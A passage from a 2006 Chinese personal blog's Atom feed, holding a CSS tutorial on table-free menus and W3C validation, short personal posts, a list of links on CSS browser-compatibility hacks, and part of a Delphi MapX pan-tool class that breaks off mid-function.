&lt;br&gt;#menu {&lt;br&gt;MARGIN: 15px 20px 0px 15px;&lt;br&gt;PADDING:15px;&lt;br&gt;BACKGROUND: #dfdfdf;&lt;br&gt;COLOR: #666;&lt;br&gt;BORDER:#fff 2px solid; &lt;br&gt;WIDTH:160px;&lt;br&gt;}&lt;br&gt;#menu ul {&lt;br&gt;MARGIN: 0px;&lt;br&gt;PADDING: 0px;&lt;br&gt;BORDER: medium none; &lt;br&gt;LINE-HEIGHT: normal; &lt;br&gt;LIST-STYLE-TYPE: none;&lt;br&gt;DISPLAY:inline;&lt;br&gt;}&lt;br&gt;#menu li {BORDER-TOP: #FFF 1px solid; MARGIN: 0px;}&lt;br&gt;#menu li a {&lt;br&gt;PADDING:5px 0px 5px 15px;&lt;br&gt;DISPLAY: block;&nbsp;&nbsp;&lt;br&gt;FONT-WEIGHT: bold; &lt;br&gt;BACKGROUND: url(images/icon_dot_lmenu.gif) transparent no-repeat 2px 8px;&nbsp;&nbsp;&lt;br&gt;WIDTH: 100%; &lt;br&gt;COLOR: #444;&nbsp;&nbsp;&lt;br&gt;TEXT-DECORATION: none;&lt;br&gt;}&lt;br&gt;#menu li a:hover {&lt;br&gt;BACKGROUND: url(images/icon_dot_lmenu2.gif) #C61C18 no-repeat 2px 8px;&lt;br&gt;COLOR: #fff; &lt;br&gt;}&lt;br&gt;
</STYLE>
</STRONG></P>
<P>布局初步搭建起来，我开始填充里面的内容。首先是定义logo图片：</P>
<P>样式表：<STRONG><FONT color=#60a179><FONT face=Verdana>#logo {MARGIN: 0px;padding:0px;WIDTH: 200px;HEIGHT:80px;}<BR></FONT></FONT></STRONG>页面代码：<STRONG><FONT face=Verdana color=#60a179>&lt;div id="logo"&gt;&lt;a title="网页设计师" href="http://www.w3cn.org/" &gt;&lt;img height="80" alt="链接到w3cn.org首页" src="images/logo_w3cn_200x80.gif" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;</FONT></STRONG> <BR></P>
<P>以上代码现在应该容易理解。先在CSS定义了一个logo的层，然后在页面中调用它。需要说明的是，为了使网页有更好的易用性，web标准要求大家给所有的、属于正式内容的图片，加一个alt属性。这个alt属性是用来说明图片的作用(当图片不能显示的时候就显示替换文字)，所以不要只写成无意义的图片名称。</P>
<P>接下来是定义菜单。</P>
<H3>1.不用表格的菜单(纵向)</H3>
<P>我们先来看菜单的最终效果：</P>
<DIV>
<UL>
<LI><A href="http://www.w3cn.org/webstandards.html" target=_blank><FONT color=#000000>什么是网站标准</FONT></A> <BR>
<LI><A href="http://www.w3cn.org/benefits.html" target=_blank><FONT color=#000000>使用标准的好处</FONT></A> <BR>
<LI><A href="http://www.w3cn.org/howto.html" target=_blank><FONT color=#000000>怎样过渡</FONT></A> <BR>
<LI><A href="http://www.w3cn.org/tutorial.html" target=_blank><FONT color=#000000>相关教程</FONT></A> <BR>
<LI><A href="http://www.w3cn.org/tools.html" target=_blank><FONT color=#000000>工具</FONT></A> <BR>
<LI><A href="http://www.w3cn.org/resources.html" target=_blank><FONT color=#000000>资源及链接</FONT></A> </LI></UL></DIV>
<P>通常方法我们至少嵌套2层表格来实现这样的菜单，间隔线采用在td中设置背景色并插入1px高的透明GIF图片实现；背景色的交替效果采用td的onmouseover事件实现。但查看本菜单的页面代码，你会看到只有如下几句：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;div id="menu"&gt; <BR>&lt;ul&gt;<BR>&lt;li&gt;&lt;a title="网站标准" href="http://www.w3cn.org/webstandards.html"&gt;什么是网站标准&lt;/a&gt;&lt;/li&gt;<BR>&lt;li&gt;&lt;a title="标准的好处" href="http://www.w3cn.org/benefits.html"&gt;使用标准的好处&lt;/a&gt;&lt;/li&gt;<BR>&lt;li&gt;&lt;a title="怎样过渡" href="http://www.w3cn.org/howto.html"&gt;怎样过渡&lt;/a&gt;&lt;/li&gt;<BR>&lt;li&gt;&lt;a title="相关教程" href="http://www.w3cn.org/tutorial.html"&gt;相关教程&lt;/a&gt;&lt;/li&gt;<BR>&lt;li&gt;&lt;a title="工具" href="http://www.w3cn.org/tools.html"&gt;工具&lt;/a&gt;&lt;/li&gt;<BR>&lt;li&gt;&lt;a title="资源及链接" href="http://www.w3cn.org/resources.html"&gt;资源及链接&lt;/a&gt;&lt;/li&gt;<BR>&lt;/ul&gt;<BR>&lt;/div&gt; </FONT></STRONG></P>
<P>没有用任何table,而用的是无序列&lt;li&gt;，整个菜单的效果实现的秘密完全在于<STRONG><FONT face=Verdana color=#60a179>id="menu"</FONT></STRONG>，我们再来看CSS中关于menu的定义：</P>
<P>(1)首先定义了menu层的主要样式:</P>
<P><STRONG><FONT face=Verdana color=#60a179>#menu {<BR>MARGIN: 15px 20px 0px 15px;&nbsp;&nbsp;/*定义层的外边框距离*/<BR>PADDING:15px;&nbsp;&nbsp;&nbsp;&nbsp;/*定义层的内边框为15px*/<BR>BACKGROUND: #dfdfdf;&nbsp;&nbsp; /*定义背景颜色*/<BR>COLOR: #666;&nbsp;&nbsp;&nbsp;&nbsp;/*定义字体颜色*/<BR>BORDER:#fff 2px solid;&nbsp;&nbsp;/*定义边框为2px白色线条*/<BR>WIDTH:160px;&nbsp;&nbsp;&nbsp;&nbsp;/*定义内容的宽度为160px*/<BR>} </FONT></STRONG></P>
<P>(2)其次定义无序列表的样式：</P>
<P><STRONG><FONT face=Verdana color=#60a179>#menu ul {<BR>MARGIN: 0px;<BR>PADDING: 0px;<BR>BORDER: medium none; /*不显示边框*/<BR>LINE-HEIGHT: normal; <BR>LIST-STYLE-TYPE: none;<BR><BR>}<BR>#menu li {BORDER-TOP: #FFF 1px solid; MARGIN: 0px;} </FONT></STRONG></P>
<P>说明：这里用的是id选择器的派生方法定义(参考第7天：CSS入门的介绍)了在menu层中的子元素&lt;ul&gt;和&lt;li&gt;的样式。<STRONG><FONT face=Verdana color=#60a179>LIST-STYLE-TYPE: none</FONT></STRONG>一句表示不采用无序列表的默认样式，即：不显示小圆点（我们后面用自己的图标来代替小圆点）。<STRONG><FONT face=Verdana color=#60a179>BORDER-TOP: #FFF 1px solid;</FONT></STRONG>则定义了菜单之间的1px间隔线。</P>
<P>(3)定义onmouseover效果</P>
<P><STRONG><FONT face=Verdana color=#60a179>#menu li a {<BR>PADDING:5px 0px 5px 15px;<BR>DISPLAY: block; <BR>FONT-WEIGHT: bold; <BR>BACKGROUND: url(images/icon_dot_lmenu.gif) transparent no-repeat 2px 8px; <BR>WIDTH: 100%; <BR>COLOR: #444; <BR>TEXT-DECORATION: none;<BR>}<BR>#menu li a:hover { BACKGROUND: url(images/icon_dot_lmenu2.gif) #C61C18 no-repeat 2px 8px;<BR>COLOR: #fff; }</FONT></STRONG> <BR></P>
<P>解释如下：</P>
<UL>
<LI>"<STRONG><FONT face=Verdana color=#60a179>display:block;</FONT></STRONG>"表示将标签a当作块级元素来显示，使得链接变成一个按钮； <BR>
<LI>"<STRONG><FONT face=Verdana color=#60a179>BACKGROUND: url(images/icon_dot_lmenu.gif) transparent no-repeat 2px 8px;</FONT></STRONG>"这一句定义了替代li的小圆点的图标。"transparent"指背景为透明，"2px 8px"指定图标的位置是距左边2px，距上边8px。这一句也可以拆分写成四句："BACKGROUND-IMAGE: url(images/icon_dot_lmenu.gif); BACKGROUND-POSITION: 2px 8px; BACKGROUND-REPEAT: no-repeat; BACKGROUND-COLOR: transparent;" <BR>
<LI>"<STRONG><FONT face=Verdana color=#60a179>#menu li a:hover</FONT></STRONG>"定义了当鼠标移动到链接上以后的颜色变化和小图标变化。 </LI></UL>
<P>ok，不用表格的菜单就这样实现了。大家可以明显感觉到，原来写在HTML里的表现样式全部剥离放到CSS文件里去了。页面代码节约了大半。通过CSS要修改菜单样式就很简单了。</P>
<H3>2.不用表格的菜单(横向)</H3>
<P>上面是纵向的菜单,如果要显示横向菜单，用li也可以吗？当然是可以的，下面给出代码，效果就在本页顶部:</P>
<P>页面代码</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;div id="submenu"&gt; <BR>&lt;ul&gt;<BR>&lt;li id="one"&gt;&lt;a title="首页" href="http://www.w3cn.org/"&gt;Home&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="two"&gt;&lt;a title="关于我们" href="http://www.w3cn.org/aboutus.html"&gt;关于我们&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="three"&gt;&lt;a title="网站标准" href="http://www.w3cn.org/webstandards.html"&gt;网站标准&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="four"&gt;&lt;a title="标准的好处" href="http://www.w3cn.org/benefits.html"&gt;标准的好处&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="five"&gt;&lt;a title="怎样过渡" href="http://www.w3cn.org/howto.html"&gt;怎样过渡&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="six"&gt;&lt;a title="相关教程" href="http://www.w3cn.org/tutorial.html"&gt;相关教程&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="seven"&gt;&lt;a title="工具" href="http://www.w3cn.org/tools.html"&gt;工具&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="eight"&gt;&lt;a title="资源及链接" href="http://www.w3cn.org/resources.html"&gt;资源及链接&lt;/a&gt;&lt;/li&gt;<BR>&lt;li id="nine"&gt;&lt;a title="常见问题" href="http://www.w3cn.org/faq.html"&gt;常见问题&lt;/a&gt;&lt;/li&gt;<BR>&lt;/ul&gt;<BR>&lt;/div&gt; </FONT></STRONG></P>
<P>样式表代码</P>
<P><STRONG><FONT face=Verdana color=#60a179>#submenu { <BR>MARGIN: 0px 8px 0px 8px; <BR>PADDING: 4px 0px 0px 0px; <BR>BORDER: #fff 1px solid; <BR>BACKGROUND: #dfdfdf; <BR>COLOR: #666; <BR>HEIGHT:25px; } <BR><BR>#submenu ul { <BR>CLEAR: left; <BR>MARGIN: 0px; <BR>PADDING:0px; <BR>BORDER: 0px; <BR>LIST-STYLE-TYPE: none; <BR>TEXT-ALIGN: center; <BR>DISPLAY:inline;<BR>} <BR><BR>#submenu li { <BR>FLOAT: left; <BR>DISPLAY: block; <BR>MARGIN: 0px; <BR>PADDING: 0px; <BR>TEXT-ALIGN: center} <BR><BR>#submenu li a { <BR>DISPLAY: block; <BR>PADDING:2px 3px 2px 3px; <BR>BACKGROUND: url(images/icon_dot_lmenu.gif) transparent no-repeat 2px 8px; <BR>FONT-WEIGHT: bold; <BR>WIDTH: 100%; <BR>COLOR: #444; <BR>TEXT-DECORATION: none; <BR>} <BR><BR>#submenu li a:hover { <BR>BACKGROUND: url(images/icon_dot_lmenu2.gif) #C61C18 no-repeat 2px 8px; <BR>COLOR: #fff; } <BR><BR>#submenu ul li#one A { WIDTH: 60px} <BR>#submenu ul li#two A { WIDTH: 80px} <BR>#submenu ul li#three A { WIDTH: 80px} <BR>#submenu ul li#four A { WIDTH: 90px} <BR>#submenu ul li#five A { WIDTH: 80px} <BR>#submenu ul li#six A { WIDTH: 80px} <BR>#submenu ul li#seven A { WIDTH: 60px} <BR>#submenu ul li#eight A { WIDTH: 90px} <BR>#submenu ul li#nine A { WIDTH: 80px} <BR></FONT></STRONG></P>
<P>以上代码不逐一分析了。横向菜单的关键在于：定义&lt;li&gt;样式时的"<STRONG><FONT face=Verdana color=#60a179>FLOAT: left;</FONT></STRONG>"语句。另外注意UL定义中的<STRONG><FONT face=Verdana color=#60a179>DISPLAY:inline;</FONT></STRONG>一句表示将li强制作为内联对象呈递，从对象中删除行，通俗讲就是li不换行。实现横向排列。你也可以象例子中定义每个子菜单的宽度，控制菜单的间隔。好了，你也可以动手试试，用li实现各种各样的菜单样式。</P>
<P>Tips:如果你子菜单的宽度总和大于层的宽度，菜单会自动折行，利用这个原理可以实现单个无序列表的2列或者3列排版，这是原来HTML很难实现的。</P>
<P>感谢zhuweiwei指出横向菜单的bug，本文已修正。</P>
<P><STRONG>第12天:校验及常见错误<BR></STRONG></P>
<P>辛苦了好多天，我们努力学习使用XHTML+CSS来重新设计我们的网站。那么我们如何知道自己制作的页面真的符合web标准？W3C和一些志愿者网站提供了在线校验程序，来帮助我们检查页面是否符合标准，并提供了修正错误的帮助信息。这些校验非常有用，是我调试页面第一步要做的事情。</P>
<H3>1.XHTML校验</H3>
<UL>
<LI>校验网址：<A href="http://validator.w3.org/" target=_blank><FONT color=#60a179>http://validator.w3.org/</FONT></A> <BR>
<LI>校验方式:网址校验、文件上传校验 </LI></UL>
<P>校验成功，会显示"This Page Is Valid XHTML 1.0 Transitional!",如图：</P>
<P><IMG alt="" src="http://www.w3cn.org/article/step/2004/images/valid.gif"> <BR></P>
<P>校验失败，会显示更多校验选项和错误信息，如图：</P>
<P><IMG alt="" src="http://www.w3cn.org/article/step/2004/images/revalidate.gif"> <BR></P>
<P>一般选择"Show Source"和"Verbose Output"可以帮助你找到错误代码所在行和错误原因。</P>
<H4>XHTML校验常见错误原因对照表</H4>
<UL>
<LI>No DOCTYPE Found! Falling Back to HTML 4.01 Transitional--未定义DOCTYPE。 <BR>
<LI>No Character Encoding Found! Falling back to UTF-8.--未定义语言编码。 <BR>
<LI>end tag for "img" omitted, but OMITTAG NO was specified--图片标签没有加"/"关闭。 <BR>
<LI>an attribute value specification must be an attribute value literal unless SHORTTAG YES is specified--属性值必须加引号。 <BR>
<LI>element "DIV" undefined---DIV标签不能用大写，要改成小写div。 <BR>
<LI>required attribute "alt" not specified---图片需要加alt属性。 <BR>
<LI>required attribute "type" not specified---JS或者CSS调用的标签漏了type属性。 </LI></UL>
<P>其中最最常见的错误就是标签的大小写问题了。通常这些错误都是关联的，比如忘记了一个&lt;/li&gt;其他&lt;li&gt;标签都会报错，所以不要看到一堆的错误害怕，通常解决了一个错误，其他的错误也都没有了。如果你的页面通过XHTML1.0校验，可以在页面上放置这么一个图标： <IMG alt="" src="http://www.w3cn.org/article/step/2004/images/xhtmlvalid.gif">代码如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;p&gt; &lt;a href="http://validator.w3.org/check/referer"&gt;&lt;img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0!" height="31" width="88" /&gt;&lt;/a&gt; &lt;/p&gt; </FONT></STRONG></P>
<H3>2.CSS2校验</H3>
<UL>
<LI>校验网址：<A href="http://jigsaw.w3.org/css-validator/" target=_blank><FONT color=#666666>http://jigsaw.w3.org/css-validator/</FONT></A> <BR>
<LI>校验方式:网址校验、文件上传校验、直接贴入代码校验 </LI></UL>
<P>校验成功，会显示"恭喜恭喜，此文档已经通过样式表校验! ",hoho,校验信息支持中文噢。如图：</P>
<P><IMG alt="" src="http://www.w3cn.org/article/step/2004/images/cssvalid.gif"> <BR></P>
<P>校验失败，会显示两类错误：错误和警告。错误表示一定要修正，否则无法通过校验；警告表示有代码不被W3C推荐,建议修改。</P>
<H4>CSS2校验常见错误原因对照表</H4>
<UL>
<LI>(错误)无效数字 : color909090 不是一个 color 值 : 909090 ---十六进制颜色值必须加"#"号，即#909090 <BR>
<LI>(错误)无效数字 : margin-topUnknown dimension : 6pixels ---pixels不是一个单位值，正确写法6px <BR>
<LI>(错误)属性 scrollbar-face-color 不存在 : #eeeeee --- 定义滚动条颜色是非标准的属性 <BR>
<LI>(错误)值 cursorhand不存在 : hand是非标准属性值，修改为cursor:pointer <BR>
<LI>(警告)Line : 0 font-family: 建议你指定一个种类族科作为最后的选择 --W3C建议字体定义的时候，最后以一个类别的字体结束，例如"sans-serif"，以保证在不同操作系统下，网页字体都能被显示。 <BR>
<LI>(警告)Line : 0 can't find the warning message for otherprofile --表示在代码中有非标准属性或值，校验程序无法判断和提供相应的警告信息。 </LI></UL>
<P>同样，通过检验后，可以放置一个CSS校验通过图标，代码如下：</P>
<P><STRONG><FONT face=Verdana color=#60a179>&lt;p&gt; &lt;a href="http://jigsaw.w3.org/css-validator/"&gt; &lt;img style="border:0;width:88px;height:31px" src="http://jigsaw.w3.org/css-validator/images/vcss" alt="Valid CSS!" /&gt; &lt;/a&gt; &lt;/p&gt;</FONT></STRONG></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=238" /> 
	  <id>http://www.openx.cn/default.asp?id=238</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[周六跟偶家那口跟他们公司爬山的照片]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-03-19T23:08:23+08:00</updated>
	  <published>2006-03-19T23:08:23+08:00</published>
		  <summary type="html"><![CDATA[<P>算起来应该也有大半年没爬山了吧~呼呼~今天起床感觉小腿有点点疼.</P>
<P>荃就不行了哈哈~基本算快瘫咯~</P>
<P>还好去北京前每周都有爬山,呵呵~荃被我连托带拽的到终点,居然还得了个女子第一名哈哈~</P>
<P>发出周六爬山的照片拼图.</P>
<P>[img]attachments/month0603/he7l_collage.jpg[/img]</P>
<P>时间不早咯~睡觉去咯~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=237" /> 
	  <id>http://www.openx.cn/default.asp?id=237</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[嘿~我又有MSN Message Live的邀请咯~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-03-17T21:20:22+08:00</updated>
	  <published>2006-03-17T21:20:22+08:00</published>
		  <summary type="html"><![CDATA[<P>需要的可以留言</P>
<P>满8个我就发出~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=236" /> 
	  <id>http://www.openx.cn/default.asp?id=236</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CSS兼容性对照表]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-17T13:50:26+08:00</updated>
	  <published>2006-03-17T13:50:26+08:00</published>
		  <summary type="html"><![CDATA[<P>地址:&nbsp;<A href="http://centricle.com/ref/css/filters/">http://centricle.com/ref/css/filters/</A> </P>
<H2>Related links:</H2>
<UL class=links>
<LI><A href="http://weblogs.asp.net/justin_rogers/archive/2005/09/01/424184.aspx">http://weblogs.asp.net/justin_rogers/archive/2005/09/01/424184.aspx</A> 
<LI><A href="http://blogs.msdn.com/ie/archive/2005/07/29/445242.aspx">http://blogs.msdn.com/ie/archive/2005/07/29/445242.aspx</A> 
<LI><A href="http://www.tantek.com/CSS/Examples/boxmodelhack.html">http://www.tantek.com/CSS/Examples/boxmodelhack.html</A> 
<LI><A href="http://www.doxdesk.com/personal/posts/css/20020212-bmh.html">http://www.doxdesk.com/personal/posts/css/20020212-bmh.html</A> 
<LI><A href="http://v2studio.com/k/style/n4hide/">http://v2studio.com/k/style/n4hide/</A> 
<LI><A href="http://archivist.incutio.com/css-discuss/?id=5967">http://archivist.incutio.com/css-discuss/?id=5967</A> 
<LI><A href="http://www.albin.net/CSS/OwenHack.html">http://www.albin.net/CSS/OwenHack.html</A> 
<LI><A title="Child Selector" href="http://w3development.de/css/hide_css_from_browsers/child/"></A>
<LI><A href="http://www.albin.net/CSS/beMeanToOpera.html">http://www.albin.net/CSS/beMeanToOpera.html</A> 
<LI><A href="http://w3development.de/css/hide_css_from_browsers/attribute/">http://w3development.de/css/hide_css_from_browsers/attribute/</A> 
<LI><A href="http://w3development.de/css/hide_css_from_browsers/import/">http://w3development.de/css/hide_css_from_browsers/import/</A> 
<LI><A href="http://www.premonition.co.uk/cssd/ie51-only.html">http://www.premonition.co.uk/cssd/ie51-only.html</A> 
<LI><A href="http://tantek.com/CSS/Examples/highpass.html">http://tantek.com/CSS/Examples/highpass.html</A> 
<LI><A href="http://www.tantek.com/CSS/Examples/inlinehpf.html">http://www.tantek.com/CSS/Examples/inlinehpf.html</A> 
<LI><A href="http://w3development.de/css/hide_css_from_browsers/media/">http://w3development.de/css/hide_css_from_browsers/media/</A> 
<LI><A href="http://macedition.com/cb/cb_20021118.php">http://macedition.com/cb/cb_20021118.php</A> 
<LI><A href="http://www.info.com.ph/~etan/w3pantheon/style/starhtmlbug.html">http://www.info.com.ph/~etan/w3pantheon/style/starhtmlbug.html</A> 
<LI><A href="http://www.sam-i-am.com/work/sandbox/css/mac_ie5_hack.html">http://www.sam-i-am.com/work/sandbox/css/mac_ie5_hack.html</A> 
<LI><A href="http://diveintomark.org/archives/2003/01/28/how_to_hide_css_from_opera_7.html">http://diveintomark.org/archives/2003/01/28/how_to_hide_css_from_opera_7.html</A> 
<LI><A href="http://wellstyled.com/css-underscore-hack.html">http://wellstyled.com/css-underscore-hack.html</A> 
<LI><A href="http://www.tantek.com/CSS/Examples/midpass.html">http://www.tantek.com/CSS/Examples/midpass.html</A> 
<LI><A href="http://www.tantek.com/CSS/Examples/ie50winbandpass.html">http://www.tantek.com/CSS/Examples/ie50winbandpass.html</A> 
<LI><A href="http://www.tantek.com/CSS/Examples/ie55winbandpass.html">http://www.tantek.com/CSS/Examples/ie55winbandpass.html</A> 
<LI><A href="http://www.stopdesign.com/examples/ie5mac-bpf/">http://www.stopdesign.com/examples/ie5mac-bpf/</A> </LI></UL>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=235" /> 
	  <id>http://www.openx.cn/default.asp?id=235</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Delphi实现MapX中类似AutoCAD的平滑移动的Pen工具]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-16T14:29:00+08:00</updated>
	  <published>2006-03-16T14:29:00+08:00</published>
		  <summary type="html"><![CDATA[<P>//类文件 <BR>unit TFlowPenClass; </P>
<P>interface <BR>uses Controls,Classes,MapXLib_TLB; <BR>type <BR>&nbsp;&nbsp;TFlowPen=Class(TObject) <BR>&nbsp;&nbsp;protected <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseMoveEvent:TMouseMoveEvent; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseUpEvent:TMouseEvent; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseDownEvent:TMouseEvent; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap:Tmap; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_bMosueDown:Boolean; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInX:Single; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInY:Single; <BR>&nbsp;&nbsp;protected <BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure MapMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); <BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure MapMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); <BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure MapMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); <BR>&nbsp;&nbsp;public <BR>&nbsp;&nbsp;&nbsp;&nbsp;Function CreateFlowPenTool(pMap:TMap):Integer; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Function InstallFlowPenTool():Boolean; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Function UnInstallFlowPenTool():Boolean; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Function GetToolNum():Integer; <BR>end; <BR>const <BR>&nbsp;&nbsp;MAP_TOOL_FLOWPEN=1; <BR>implementation </P>
<P>&nbsp;&nbsp;procedure TFlowPen.MapMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); <BR>&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;If (m_pMap.CurrentTool=MAP_TOOL_FLOWPEN) And (Not m_bMosueDown) Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_bMosueDown:=True; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInX:=X; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInY:=Y; <BR>&nbsp;&nbsp;&nbsp;&nbsp;end; <BR>&nbsp;&nbsp;&nbsp;&nbsp;if @m_IriMouseDownEvent&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseDownEvent(Sender,Button,Shift,X,Y); <BR>&nbsp;&nbsp;end; <BR>&nbsp;&nbsp;procedure TFlowPen.MapMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); <BR>&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;If (m_pMap.CurrentTool=MAP_TOOL_FLOWPEN) And m_bMosueDown Then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_bMosueDown:=False; <BR>&nbsp;&nbsp;&nbsp;&nbsp;if @m_IriMouseUpEvent&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseUpEvent(Sender,Button,Shift,X,Y); <BR>&nbsp;&nbsp;end; <BR>procedure TFlowPen.MapMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); <BR>var <BR>&nbsp;&nbsp;dX1,dX2,dY1,dY2ouble; <BR>&nbsp;&nbsp;sX,sY:Single; <BR>begin <BR>&nbsp;&nbsp;If (m_pMap.CurrentTool=MAP_TOOL_FLOWPEN) And m_bMosueDown Then <BR>&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;sX:=X;sY:=y; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.ConvertCoord(sX,sY,dX1,dY1,miScreenToMap); <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.ConvertCoord(m_sPenInX,m_sPenInY,dX2,dY2,miScreenToMap); <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.CenterX:=m_pMap.CenterX-(dX1-dX2); <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.CenterY:=m_pMap.CenterY-(dY1-dY2); <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInX:=X; <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_sPenInY:=Y; <BR>&nbsp;&nbsp;End; <BR>&nbsp;&nbsp;if @m_IriMouseMoveEvent&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseMoveEvent(Sender,Shift,X,Y); <BR>end; <BR>Function TFlowPen.CreateFlowPenTool(pMap:Tmap):Integer; <BR>begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;m_pMap:=pMap; <BR>&nbsp;&nbsp;&nbsp;&nbsp;if m_pMap&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.CreateCustomTool(MAP_TOOL_FLOWPEN,miToolTypePoint,miPanCursor,miPanCursor,miPanCursor); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InstallFlowPenTool; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=MAP_TOOL_FLOWPEN; <BR>&nbsp;&nbsp;&nbsp;&nbsp;end <BR>&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=-1; <BR>end; <BR>Function TFlowPen.InstallFlowPenTool():boolean; <BR>begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;if m_pMap&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseMoveEvent:=m_pMap.OnMouseMove; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseUpEvent:=m_pMap.OnMouseUp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseDownEvent:=m_pMap.OnMouseDown; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseMove:=MapMouseMove; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseUp:=MapMouseUp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseDown:=MapMouseDown; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_bMosueDown:=False; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=True; <BR>&nbsp;&nbsp;&nbsp;&nbsp;end <BR>&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=False; <BR>end; <BR>Function TFlowPen.UnInstallFlowPenTool():Boolean; <BR>begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;if m_pMap&lt;&gt;nil then <BR>&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseMove:=m_IriMouseMoveEvent; 